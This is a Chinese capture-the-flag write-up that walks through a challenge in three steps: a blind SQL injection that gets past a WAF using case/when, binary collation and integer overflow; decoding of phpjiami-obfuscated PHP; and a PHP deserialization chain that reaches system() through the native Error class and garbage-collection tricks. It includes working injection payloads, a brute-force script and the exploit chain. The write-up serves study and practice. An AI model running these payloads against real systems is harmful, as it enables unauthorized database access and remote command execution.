来我这看看也可以
很久之前打的,今天来进行复盘学习
知识点
sql注入:盲注、utf8mb4_bin
字符集的利用、case when then else end
的使用
php混淆解密:phpjiami混淆
php反序列化:原生类、spl_autoload_register
函数、GC垃圾回收机制的利用
sql注入
首先进去
而且附件给出了waf,但是在比赛中是后面的hint才给的
<?php
function safe($a) {
$r = preg_replace('/[\s,()#;*~\-]/','',$a);
$r = preg_replace('/^.*(?=union|binary|regexp|rlike).*$/i','',$r);
return (string)$r;
}
?>
看到waf就可以知道这是个sql注入,过滤了union 所以可能是盲注
当在username栏传’的时候,会报错,其他的不会,所以猜测是’闭合
同时猜测sql查询语句:
select username from xxx where username='$username'
payload:
0'case'1'when`username`collate'utf8mb4_bin'atelike'{}%'then+9223372036854775807+1+''else'0'||'
1.因为过滤了空格和其他空白字符,有因为case和then之间必须有空格,所以使用’1’。而且分号内的字符必须为数字且不为0,这样case when才能正常发挥作用
2.cllate'utf8mb4_bin'
是使用utf8mb4_bin字符集,这样才区分大小写,sql默认不区分大小写
3.为过滤了rlike和=,所以使用like来进行匹配,{}是占位符,后面脚本里用的
3.then+9223372036854775807+1+''
因为过滤了空格,所以前后两个+是用来连接sql语句的,中间的9223372036854775807+1
就是表达式,如果匹配的到的内容符号like里的,就执行并返回这个表达式,从而造成溢出,然后就会报错,浏览器会返回500。就依据这个的不同来进行盲注
也可以使用18446744073709551615+1
,18446744073709551615就是~0
,但因为~被过滤所以无法使用~0+1
payload:
import string
import requests
str=string.ascii_letters+string.digits+"$@!^&}{_%"
payload="0'||case'1'when`username`collate'utf8mb4_bin'like'{}%'then+9223372036854775807+1+''else'0'end||'"
payload1="0'||case'1'when`password`collate'utf8mb4_bin'like'{}%'then+9223372036854775807+1+''else'0'end||'"
proxy={'http':'http://127.0.0.1:33'}
url='http://1.14.71.254:28771/login.php'
f=""
while 1:
for i in str:
if(i in '%_'):
i="\\"+i
resp=requests.post(url=url,data={"username":payload.format(f+i),
"password":"0"})
#resp=requests.post(url=url,data={"username":"0",
#"password":payload1.format(f+i)})
if(resp.status_code==500):
f+=i
print(f)
break
这里要对%和_符号进行转义,否则在like就是通配符了,会对结果造成影响
proxy就是将数据传入到代理里,看看传值是否正确。
对username框用完后得到用户名:nssctfwabbybaboo!@$%!!
对password框用完后得到密码:PAssw40d_Y0u3_Never_Konwn!@!!
代码解混淆
输入用户名密码进去后看到
可以知道这个使用phpjiami进行混淆的
使用这个进行解密https://github.com/wenshui2008/phpjiami_decode
然后将页面的内容保存下来,进行解密
我尝试了用其他方法保存文本,但是都无法正确解密,因为phpjiami解密非常苛刻,少一个字符都不行,只能使用脚本将文本保存下来了
shanghe师傅的:
<?php
$url="http://1.14.71.254:28040/login.php";
$ch=curl_init();
curl_setopt($ch,CURLOPT_URL,$url);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);
curl_setopt($ch,CURLOPT_COOKIE,"PHPSESSID=c188d8c802d73889e3f0d8802efbf517");
$result=curl_exec($ch);
curl_close($ch);
echo urlencode($result);
file_put_contents("jiemi2.php",$result);
?>
保存下来后使用上面给的机密工具,得到解密后的代码
1Nd3x_Y0u_N3v3R_Kn0W.php
<?php
session_start();
if(!isset($_SESSION['login'])){
die();
}
function Al($classname){
include $classname.".php";
}
if(isset($_REQUEST['a'])){
$c = $_REQUEST['a'];
$o = unserialize($c);
if($o === false) {
die("Error Format");
}else{
spl_autoload_register('Al');
$o = unserialize($c);
$raw = serialize($o);
if(preg_match("/Some/i",$raw)){
throw new Error("Error");
}
$o = unserialize($raw);
var_dump($o);
}
}else {
echo file_get_contents("SomeClass.php");
}
这里是不使用参数访问这个文件就可以得到SomeClass.php
的内容
SomeClass.php
:
<?php
class A
{
public $a;
public $b;
public function see()
{
$b = $this->b;
$checker = new ReflectionClass(get_class($b));
if(basename($checker->getFileName()) != 'SomeClass.php'){
if(isset($b->a)&&isset($b->b)){
($b->a)($b->b."");
}
}
}
}
class B
{
public $a;
public $b;
public function __toString()
{
$this->a->see();
return "1";
}
}
class C
{
public $a;
public $b;
public function __toString()
{
$this->a->read();
return "lock lock read!";
}
}
class D
{
public $a;
public $b;
public function read()
{
$this->b->learn();
}
}
class E
{
public $a;
public $b;
public function __invoke()
{
$this->a = $this->b." Powered by PHP";
}
public function __destruct(){
//eval($this->a); ??? 吓得我赶紧把后门注释了
//echo "???";
die($this->a);
}
}
class F
{
public $a;
public $b;
public function __call($t1,$t2)
{
$s1 = $this->b;
$s1();
}
}
?>
反序列化链构造
接下来就构造链子:
E->die()会将内容以字符串的形式调用,然后触发B->_toString(),在将B->a赋值为A类
调用A类的see()函数,然后让A->b赋值为不为SomeClass的原生类(Error)等
在将A->b->a=system,A->b->b=(要执行的命令)这样就可以达到命令执行的目的
然后看1Nd3x_Y0u_N3v3R_Kn0W.php
知道是通过这个文件来打反序列化,
spl_autoload_register
这个函数就是自动加载类,当new一个没有包含的类时,他就会自动调用A1
静态方法来包含所需的类。但是在后面可以看到SomeClass
被过滤了
if(preg_match("/Some/i",$raw)){
throw new Error("Error");
}
这样如果我们包含这个类,就会抛出错误从而终止程序,使__destruct()无法执行,这样我们的链子就没有用了。
所以我们要提前调用__destruct(),在包含SomeClass类的同时就进入__destruct()
1.传一个损坏的序列化字符串,即没有最后的}就行,但是这道题好像不行
2.使用gc回收机制来提前触发__destruct()
PHP Garbage Collection简称GC,又名垃圾回收,在PHP中使用引用计数和回收周期来自动管理内存对象的。
垃圾,顾名思义就是一些没有用的东西。在这里指的是一些数据或者说是变量在进行某些操作后被置为空(NULL)或者是没有地址(指针)的指向,这种数据一旦被当作垃圾回收后就相当于把一个程序的结尾给划上了句号,那么就不会出现无法调用__destruct()方法了
具体的可以看这篇文章
这篇文章最后就讲了我们的payload为何要这样构造的原因
payload
<?php
class A
{
public $a;
public $b;
public function see()
{
$b = $this->b;
$checker = new ReflectionClass(get_class($b));
if(basename($checker->getFileName()) != 'SomeClass.php'){
if(isset($b->a)&&isset($b->b)){
($b->a)($b->b."");
}
}
}
}
class B
{
public $a;
public $b;
public function __toString()
{
$this->a->see();
return "1";
}
}
class E
{
public $a;
public $b;
public function __invoke()
{
$this->a = $this->b." Powered by PHP";
}
public function __destruct(){
//eval($this->a); ??? 吓得我赶紧把后门注释了
//echo "???";
die($this->a);
}
}
class SomeClass{
public $a;
}
$e=new E();
$b=new B();
$a=new A();
$e->a=$b;
$b->a=$a;
$x=new Error();
$x->a="system";
$x->b="ls";
$a->b=$x;
$result=new SomeClass();
$result->a=$e;
$result = serialize(array($result,0));
$result = str_replace("i:1","i:0",$result);
$result = urlencode($result);
echo $result;
然后修改执行的命令得到flag